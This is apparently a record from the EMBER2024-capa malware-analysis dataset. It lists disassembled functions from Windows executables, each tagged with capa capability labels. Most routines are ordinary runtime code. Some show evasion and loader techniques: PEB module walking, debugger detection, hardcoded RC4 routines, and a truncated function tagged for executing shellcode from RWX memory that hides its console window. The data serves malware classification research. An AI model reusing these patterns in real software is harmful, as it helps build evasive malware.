joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140004eb0
Capabilities:
Print debug messages

Disassembly:
jmp 0x140005150
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x13d0]
mov eax, 0x14d0
call fcn.140030e70
sub rsp, rax
mov rax, qword [0x140046010]
xor rax, rsp
mov qword [rbp + 0x13c0], rax
mov esi, edx
mov r14, rcx
mov rdi, qword [rbp + 0x1428]
xor r15d, r15d
mov word [rbp + 0x3c0], r15w
mov byte [rbp - 0x40], r15b
mov r8, qword [rbp + 0x1430]
mov ecx, dword [r8]
mov dword [rsp + 0x28], ecx
mov eax, dword [r8 + 4]
mov dword [rsp + 0x2c], eax
call fcn.140001990
mov ebx, eax
mov edx, 1
mov dword [rsp + 0x20], edx
mov ecx, r15d
mov eax, 8
cmp dword [r8 + 8], edx
cmove ecx, eax
mov dword [rsp + 0x24], ecx
lock xadd dword [0x1400482f8], edx
inc edx
mov dword [rsp + 0x30], edx
mov qword [rsp + 0x38], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x40], eax
lea rax, [0x14003cb5c]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x60], esi
mov dword [rsp + 0x64], ebx
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], r15
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], r14
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rax
xorps xmm1, xmm1
movups xmmword [rsp + 0x68], xmm1
movups xmmword [rsp + 0x78], xmm1
mov rax, qword [0x1400482e8]
test rax, rax
je 0x140005247
call rax
mov qword [rbp - 0x60], rax
jmp 0x14000524b
mov qword [rbp - 0x60], r15
mov rax, qword [0x140048270]
test rax, rax
je 0x14000525e
lea rcx, [rsp + 0x20]
call rax
mov rax, qword [0x1400482a0]
test rax, rax
je 0x14000527b
mov r8d, 0x400
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x20]
call rax
mov rax, qword [0x140048298]
test rax, rax
je 0x14000528e
lea rcx, [rsp + 0x20]
call rax
mov rax, qword [0x1400482c0]
test rax, rax
je 0x1400052a8
test byte [rsp + 0x24], 2
jne 0x1400052a8
lea rcx, [rsp + 0x20]
call rax
cmp dword [rsp + 0x28], r15d
jge 0x1400053b8
cmp byte [0x140048258], r15b
jne 0x1400052e1
mov rax, qword [0x140048248]
test rax, rax
je 0x1400052d0
call rax
movzx r15d, al
jmp 0x1400052dc
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
setne r15b
test r15d, r15d
je 0x1400052e8
test byte [rsp + 0x24], 2
je 0x14000530b
mov rax, qword [0x140048260]
test rax, rax
je 0x140005361
cmp byte [0x140048280], 0
jne 0x140005361
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x20]
call rax
jmp 0x140005361
mov rax, qword [0x140048260]
test rax, rax
je 0x140005334
cmp byte [0x140048280], 0
jne 0x140005334
mov r8d, 0x800
lea rdx, [rbp + 0x3c0]
lea rcx, [rsp + 0x20]
call rax
cmp word [rbp + 0x3c0], 0
jne 0x140005354
lea r8, [rsp + 0x20]
mov edx, 0x800
lea rcx, [rbp + 0x3c0]
call fcn.1400014d0
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
test byte [rsp + 0x24], 4
jne 0x140005371
cmp byte [0x140048268], 0
je 0x140005380
mov rax, qword [0x1400482b0]
test rax, rax
je 0x140005380
call rax
nop
test byte [rsp + 0x24], 1
jne 0x1400053ad
mov rcx, qword [rbp + 0x13c0]
xor rcx, rsp
call fcn.140016330
mov rbx, qword [rsp + 0x1510]
add rsp, 0x14d0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
lea rcx, [rsp + 0x20]
call fcn.140002f30
nop
call fcn.140003180
nop
int3
Function at 0x140005150
Capabilities:
Print debug messages

Disassembly:
jmp 0x140005150
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x13d0]
mov eax, 0x14d0
call fcn.140030e70
sub rsp, rax
mov rax, qword [0x140046010]
xor rax, rsp
mov qword [rbp + 0x13c0], rax
mov esi, edx
mov r14, rcx
mov rdi, qword [rbp + 0x1428]
xor r15d, r15d
mov word [rbp + 0x3c0], r15w
mov byte [rbp - 0x40], r15b
mov r8, qword [rbp + 0x1430]
mov ecx, dword [r8]
mov dword [rsp + 0x28], ecx
mov eax, dword [r8 + 4]
mov dword [rsp + 0x2c], eax
call fcn.140001990
mov ebx, eax
mov edx, 1
mov dword [rsp + 0x20], edx
mov ecx, r15d
mov eax, 8
cmp dword [r8 + 8], edx
cmove ecx, eax
mov dword [rsp + 0x24], ecx
lock xadd dword [0x1400482f8], edx
inc edx
mov dword [rsp + 0x30], edx
mov qword [rsp + 0x38], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x40], eax
lea rax, [0x14003cb5c]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x60], esi
mov dword [rsp + 0x64], ebx
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], r15
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], r14
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rax
xorps xmm1, xmm1
movups xmmword [rsp + 0x68], xmm1
movups xmmword [rsp + 0x78], xmm1
mov rax, qword [0x1400482e8]
test rax, rax
je 0x140005247
call rax
mov qword [rbp - 0x60], rax
jmp 0x14000524b
mov qword [rbp - 0x60], r15
mov rax, qword [0x140048270]
test rax, rax
je 0x14000525e
lea rcx, [rsp + 0x20]
call rax
mov rax, qword [0x1400482a0]
test rax, rax
je 0x14000527b
mov r8d, 0x400
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x20]
call rax
mov rax, qword [0x140048298]
test rax, rax
je 0x14000528e
lea rcx, [rsp + 0x20]
call rax
mov rax, qword [0x1400482c0]
test rax, rax
je 0x1400052a8
test byte [rsp + 0x24], 2
jne 0x1400052a8
lea rcx, [rsp + 0x20]
call rax
cmp dword [rsp + 0x28], r15d
jge 0x1400053b8
cmp byte [0x140048258], r15b
jne 0x1400052e1
mov rax, qword [0x140048248]
test rax, rax
je 0x1400052d0
call rax
movzx r15d, al
jmp 0x1400052dc
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
setne r15b
test r15d, r15d
je 0x1400052e8
test byte [rsp + 0x24], 2
je 0x14000530b
mov rax, qword [0x140048260]
test rax, rax
je 0x140005361
cmp byte [0x140048280], 0
jne 0x140005361
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x20]
call rax
jmp 0x140005361
mov rax, qword [0x140048260]
test rax, rax
je 0x140005334
cmp byte [0x140048280], 0
jne 0x140005334
mov r8d, 0x800
lea rdx, [rbp + 0x3c0]
lea rcx, [rsp + 0x20]
call rax
cmp word [rbp + 0x3c0], 0
jne 0x140005354
lea r8, [rsp + 0x20]
mov edx, 0x800
lea rcx, [rbp + 0x3c0]
call fcn.1400014d0
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
test byte [rsp + 0x24], 4
jne 0x140005371
cmp byte [0x140048268], 0
je 0x140005380
mov rax, qword [0x1400482b0]
test rax, rax
je 0x140005380
call rax
nop
test byte [rsp + 0x24], 1
jne 0x1400053ad
mov rcx, qword [rbp + 0x13c0]
xor rcx, rsp
call fcn.140016330
mov rbx, qword [rsp + 0x1510]
add rsp, 0x14d0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
lea rcx, [rsp + 0x20]
call fcn.140002f30
nop
call fcn.140003180
nop
int3
Function at 0x1400057e0
Capabilities:
Query environment variable

Disassembly:
push rbx
sub rsp, 0x270
mov rax, qword [0x140046010]
xor rax, rsp
mov qword [rsp + 0x260], rax
cmp qword [rdx + 0x18], 8
mov rax, rdx
mov rbx, rcx
mov qword [rsp + 0x28], rcx
jb 0x140005810
mov rax, qword [rdx]
mov r8d, 0x104
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x140005884
xorps xmm0, xmm0
lea rax, [rsp + 0x50]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 0
mov r8, 0xffffffffffffffff
mov qword [rbx + 0x18], 0
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140005850
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.14000b790
mov rax, rbx
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140016330
add rsp, 0x270
pop rbx
ret
lea rdx, str.GetEnvironmentVariableW_failed
lea rcx, [rsp + 0x30]
call fcn.1400055d0
lea rdx, [0x1400447a0]
lea rcx, [rsp + 0x30]
call fcn.1400185fc
int3
Function at 0x14000eed0
Capabilities:
Link function at runtime on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
cmp qword [rdx + 0x18], 0x10
mov rbx, rdx
jb 0x14000eee7
mov rdx, qword [rdx]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbx + 0x18]
mov rdi, rax
cmp rdx, 0x10
jb 0x14000ef26
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000ef21
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000ef47
mov rcx, r8
call fcn.140016878
mov qword [rbx + 0x10], 0
mov rax, rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
call fcn.14001ccd4
int3

Function at 0x14000f060
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbx
push rsi
push rdi
mov eax, 0x2080
call fcn.140030e70
sub rsp, rax
mov rax, qword [0x140046010]
xor rax, rsp
mov qword [rsp + 0x2070], rax
mov rsi, rcx
movsx ebx, dl
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx edx, word [rsp + 0x6e]
lea rcx, [rsp + 0x70]
movzx r8d, word [rsp + 0x6c]
mov eax, ebx
movzx r10d, word [rsp + 0x6a]
movzx r11d, word [rsp + 0x68]
movzx ebx, word [rsp + 0x66]
movzx edi, word [rsp + 0x62]
movzx r9d, word [rsp + 0x60]
mov qword [rsp + 0x58], rsi
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x48], edx
mov edx, 0x1000
mov dword [rsp + 0x40], r8d
lea r8, str.__.4d._.2d._.2d__.2d:_.2d:_.2d:_.4d___c___s:
mov dword [rsp + 0x38], r10d
mov dword [rsp + 0x30], r11d
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], edi
call fcn.14000ee70
mov r8, qword [rsp + 0x20b0]
lea rcx, [rsp + 0x70]
mov edx, 0x1000
call fcn.1400221d4
lea rbx, [rsp + 0x20b8]
call fcn.140001360
mov qword [rsp + 0x28], rbx
lea r9, [rsp + 0x70]
mov r8d, 0x1000
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x1070]
mov rcx, qword [rax]
call fcn.1400214b0
lea r8, [0x14003f520]
mov edx, 0x1000
lea rcx, [rsp + 0x1070]
call fcn.1400221d4
lea rcx, [rsp + 0x1070]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rcx, qword [rsp + 0x2070]
xor rcx, rsp
call fcn.140016330
add rsp, 0x2080
pop rdi
pop rsi
pop rbx
ret
Function at 0x14000fc00
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0xa0
mov rax, qword [0x140046010]
xor rax, rsp
mov qword [rsp + 0x90], rax
mov rdi, rdx
mov rbx, rcx
mov qword [r11 - 0x38], rcx
mov qword [r11 - 0x30], rdx
mov r8, qword [rcx + 0x10]
mov rdx, rcx
cmp qword [rcx + 0x18], 0x10
jb 0x14000fc42
mov rdx, qword [rcx]
xor ebp, ebp
movabs r9, 0xcbf29ce484222325
mov ecx, ebp
test r8, r8
je 0x14000fc73
movabs r10, 0x100000001b3
nop
movzx eax, byte [rcx + rdx]
xor r9, rax
imul r9, r10
inc rcx
cmp rcx, r8
jb 0x14000fc60
mov r8, rbx
lea rdx, [rsp + 0x20]
call fcn.140010150
mov rcx, qword [rax + 8]
test rcx, rcx
je 0x14000fc92
cmp rcx, qword [0x140046a68]
jne 0x14000fcf6
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.14000a660
mov rcx, rax
call fcn.14000ef50
mov rsi, rax
test rax, rax
jne 0x14000fcc7
mov rdx, rdi
lea rcx, [rsp + 0x60]
call fcn.14000a660
mov rcx, rax
call fcn.14000efd0
mov rsi, rax
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.14000a870
mov rdx, rax
mov rcx, rsi
call fcn.14000eed0
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x20]
mov r8, rbx
lea rdx, [rsp + 0x40]
call fcn.14000fe50
mov rdx, rbx
call fcn.14000fdd0
mov rsi, qword [rax]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14000fd3b
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000fd36
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000fdba
mov rcx, r8
call fcn.140016878
mov qword [rbx + 0x10], rbp
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 8
jb 0x14000fd85
lea rdx, [rdx*2 + 2]
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x14000fd80
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000fdc0
mov rcx, r8
call fcn.140016878
mov qword [rdi + 0x10], rbp
mov qword [rdi + 0x18], 7
mov word [rdi], bp
mov rax, rsi
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.140016330
mov rbx, qword [rsp + 0xd0]
add rsp, 0xa0
pop rdi
pop rsi
pop rbp
ret
call fcn.14001ccd4
nop
call fcn.14001ccd4
int3

Function at 0x14000fdd0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
sub rsp, 0x38
cmp qword [rdx + 0x18], 0x10
mov r8, rdx
mov r10, qword [rdx + 0x10]
jb 0x14000fde5
mov r8, qword [rdx]
xor ecx, ecx
movabs r9, 0xcbf29ce484222325
test r10, r10
je 0x14000fe14
movabs r11, 0x100000001b3
movzx eax, byte [rcx + r8]
inc rcx
xor r9, rax
imul r9, r11
cmp rcx, r10
jb 0x14000fe00
mov r8, rdx
lea rdx, [rsp + 0x20]
call fcn.140010150
mov rax, qword [rsp + 0x28]
test rax, rax
je 0x14000fe34
add rax, 0x30
add rsp, 0x38
ret
lea rcx, str.invalid_unordered_map_K__T__key
call fcn.140015384
int3
Function at 0x140016234
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400162b8
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140033620]
cmp byte [rcx + rax], 0
je 0x1400162b8
dec r8
sub rdx, 1
jne 0x14001629e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140017154
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001719e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001719e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001719e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001719e
cmp dword [rcx + 0x84], 0xe
jbe 0x14001719e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400171a0
xor al, al
add rsp, 0x28
ret

Function at 0x14002290c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140022708
Function at 0x140028db4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140028de4
xor eax, eax
jmp 0x140028ea7
mov rbp, rbx
cmp word [rax], si
je 0x140028e09
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140028df0
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140028dec
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140025b5c
movsxd r14, eax
test eax, eax
jne 0x140028e47
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140028ddd
mov rcx, r14
call fcn.140024190
mov rdi, rax
test rax, rax
jne 0x140028e60
xor ecx, ecx
call fcn.140024154
jmp 0x140028e3c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140025b5c
test eax, eax
jne 0x140028e91
mov rcx, rdi
call fcn.140024154
jmp 0x140028e9b
xor ecx, ecx
call fcn.140024154
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14002dbdc
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140026e7c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14002dc66
cmp byte [rbp - 0x21], r15b
je 0x14002dc61
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14002dc9c
call fcn.1400295b8
test eax, eax
jne 0x14002dc88
cmp byte [rbp - 0x21], r15b
je 0x14002dc80
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14002dc9c
cmp byte [rbp - 0x21], r15b
je 0x14002dc99
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140026d00
test eax, eax
jne 0x14002dd3c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140026e7c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14002dcdb
cmp byte [rbp - 0x21], r15b
je 0x14002dd10
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14002dd10
call fcn.1400295b8
test eax, eax
jne 0x14002dcfc
cmp byte [rbp - 0x21], r15b
je 0x14002dcf5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14002dd10
cmp byte [rbp - 0x21], r15b
je 0x14002dd0d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140026d00
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14002dd3c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14002dd3f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14002dd4d
mov rcx, rdi
call fcn.140024154
cmp byte [rbp + 0x3f], r15b
je 0x14002dd5c
mov rcx, qword [rbp + 0x27]
call fcn.140024154
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140030f60
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140030f88
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140030f88
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140008dac
Capabilities:
Access peb ldr_data

Disassembly:
push rsi
push rdi
push rbx
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rdx, qword [rax + 0x18]
add rdx, 0x20
xor eax, eax
mov r8, rdx
mov r8, qword [r8]
cmp r8, rdx
je 0x140008e2d
mov r9, qword [r8 + 0x50]
xor r10d, r10d
movzx r11d, word [rcx + r10]
movzx edi, word [r9 + r10]
movzx esi, di
test r11d, r11d
je 0x140008e19
test di, di
je 0x140008e19
lea edi, [r11 - 0x61]
lea ebx, [r11 - 0x20]
cmp di, 0x1a
cmovae ebx, r11d
lea r11d, [rsi - 0x61]
lea edi, [rsi - 0x20]
cmp r11w, 0x1a
cmovae edi, esi
cmp bx, di
jne 0x140008e1e
add r10, 2
jmp 0x140008dd8
sub r11d, esi
jmp 0x140008e24
mov r11d, 1
test r11d, r11d
jne 0x140008dc9
mov rax, qword [r8 + 0x20]
pop rbx
pop rdi
pop rsi
ret

Function at 0x140009130
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbx
sub rsp, 0x110
mov qword [rsp + 8], 0xfa0
mov qword [rsp], 0xd52
xor eax, eax
cmp rax, 0x100
je 0x14000915c
mov byte [rsp + rax + 0x10], al
inc rax
jmp 0x14000914b
xor r8d, r8d
mov r9d, 8
xor r10d, r10d
xor edx, edx
cmp r8, 0x100
je 0x14000919f
mov r11b, byte [rsp + r8 + 0x10]
add r10b, r11b
movsxd rax, edx
add r10b, byte [rsp + rax]
movzx edx, r10b
mov bl, byte [rsp + rdx + 0x10]
mov byte [rsp + r8 + 0x10], bl
mov byte [rsp + rdx + 0x10], r11b
inc eax
cdq
idiv r9d
inc r8
jmp 0x14000916a
xor eax, eax
xor edx, edx
xor r8d, r8d
cmp rax, 8
je 0x1400091e2
inc edx
movzx edx, dl
mov r9b, byte [rsp + rdx + 0x10]
add r8b, r9b
movzx r10d, r8b
mov r11b, byte [rsp + r10 + 0x10]
mov byte [rsp + rdx + 0x10], r11b
mov byte [rsp + r10 + 0x10], r9b
add r11b, r9b
movzx r9d, r11b
mov r9b, byte [rsp + r9 + 0x10]
xor byte [rsp + rax + 8], r9b
inc rax
jmp 0x1400091a6
xor rcx, 0xd52
mov rax, rcx
add rsp, 0x110
pop rbx
ret

Function at 0x140009310
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbx
sub rsp, 0x110
mov qword [rsp + 8], 0xd52
mov qword [rsp], 0xfa0
xor eax, eax
cmp rax, 0x100
je 0x14000933c
mov byte [rsp + rax + 0x10], al
inc rax
jmp 0x14000932b
xor r8d, r8d
mov r9d, 8
xor r10d, r10d
xor edx, edx
cmp r8, 0x100
je 0x14000937f
mov r11b, byte [rsp + r8 + 0x10]
add r10b, r11b
movsxd rax, edx
add r10b, byte [rsp + rax]
movzx edx, r10b
mov bl, byte [rsp + rdx + 0x10]
mov byte [rsp + r8 + 0x10], bl
mov byte [rsp + rdx + 0x10], r11b
inc eax
cdq
idiv r9d
inc r8
jmp 0x14000934a
xor eax, eax
xor edx, edx
xor r8d, r8d
cmp rax, 8
je 0x1400093c2
inc edx
movzx edx, dl
mov r9b, byte [rsp + rdx + 0x10]
add r8b, r9b
movzx r10d, r8b
mov r11b, byte [rsp + r10 + 0x10]
mov byte [rsp + rdx + 0x10], r11b
mov byte [rsp + r10 + 0x10], r9b
add r11b, r9b
movzx r9d, r11b
mov r9b, byte [rsp + r9 + 0x10]
xor byte [rsp + rax + 8], r9b
inc rax
jmp 0x140009386
xor rcx, 0xfa0
mov rax, rcx
add rsp, 0x110
pop rbx
ret
Function at 0x1400093d5
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbx
sub rsp, 0x110
mov qword [rsp + 8], 0xd52
mov qword [rsp], 0xfa0
xor eax, eax
cmp rax, 0x100
je 0x140009401
mov byte [rsp + rax + 0x10], al
inc rax
jmp 0x1400093f0
xor r8d, r8d
mov r9d, 8
xor r10d, r10d
xor edx, edx
cmp r8, 0x100
je 0x140009444
mov r11b, byte [rsp + r8 + 0x10]
add r10b, r11b
movsxd rax, edx
add r10b, byte [rsp + rax]
movzx edx, r10b
mov bl, byte [rsp + rdx + 0x10]
mov byte [rsp + r8 + 0x10], bl
mov byte [rsp + rdx + 0x10], r11b
inc eax
cdq
idiv r9d
inc r8
jmp 0x14000940f
xor eax, eax
xor edx, edx
xor r8d, r8d
cmp rax, 8
je 0x140009487
inc edx
movzx edx, dl
mov r9b, byte [rsp + rdx + 0x10]
add r8b, r9b
movzx r10d, r8b
mov r11b, byte [rsp + r10 + 0x10]
mov byte [rsp + rdx + 0x10], r11b
mov byte [rsp + r10 + 0x10], r9b
add r11b, r9b
movzx r9d, r11b
mov r9b, byte [rsp + r9 + 0x10]
xor byte [rsp + rax + 8], r9b
inc rax
jmp 0x14000944b
xor rcx, 0xfa0
mov rax, rcx
add rsp, 0x110
pop rbx
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x008f33b0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x008f33c0]
mov dword [rax], 1
mov rax, qword [0x008f33d0]
mov dword [rax], 1
mov rax, qword [0x008f33a0]
mov dword [rax], 1
mov rax, qword [0x008f3220]
cmp word [rax], 0x5a4d
je 0x4010d0
mov rax, qword [0x008f3390]
mov dword [0x00919008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010c2
mov ecx, 2
call sym.__set_app_type
mov rcx, 0xffffffffffffffff
call dbg._encode_pointer
mov rdx, qword [0x008f32d0]
mov qword [rdx], rax
mov rdx, qword [0x008f32c0]
mov qword [rdx], rax
mov rax, qword [0x008f3350]
mov edx, dword [rax]
mov rax, qword [sym.imp.msvcrt.dll__fmode]
mov rax, qword [rax]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x008f2920]
cmp dword [rax], 1
je 0x401120
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401133
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401530
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window

Disassembly:
push rbp
mov eax, 0x62310
call fcn.00792510
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x622a0], ecx
mov qword [rbp + 0x622a8], rdx
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp - 0x60]
